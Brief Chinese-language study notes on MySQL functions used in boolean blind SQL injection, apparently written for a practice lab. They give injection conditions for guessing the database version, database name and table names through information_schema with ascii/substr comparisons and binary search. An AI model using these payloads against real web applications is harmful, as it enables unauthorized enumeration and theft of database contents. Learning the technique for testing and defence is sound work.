MySQL函數
length():計算字符串長度
ascii():把字符轉換成ascii碼值的函數
substr():截取字符串(用法:substr(string string,num start,num length);string爲字符串;start爲起始位置;length爲長度。注意:mysql中的start是從1開始的)
left():一個字符串函數,它返回具備指定長度的字符串的左邊部分(left(Str,length);接收兩個參數:str:一個字符串;length:想要截取的長度,是一個正整數;)
數據庫版本信息:
select substr(version(),1,1)=5
數據庫名長度:
length(database())=猜想長度數字
數據庫名稱:
left(database(),1)='s'(數據庫名稱第一個字母)
直接比對名稱中的字母較爲不方便,因此引入ascii(0~127),爆破也較爲容易
猜數據表:
(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)=1
注:此處所猜解的數值能夠二分法搞定,故而和order by用法相同
(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)>1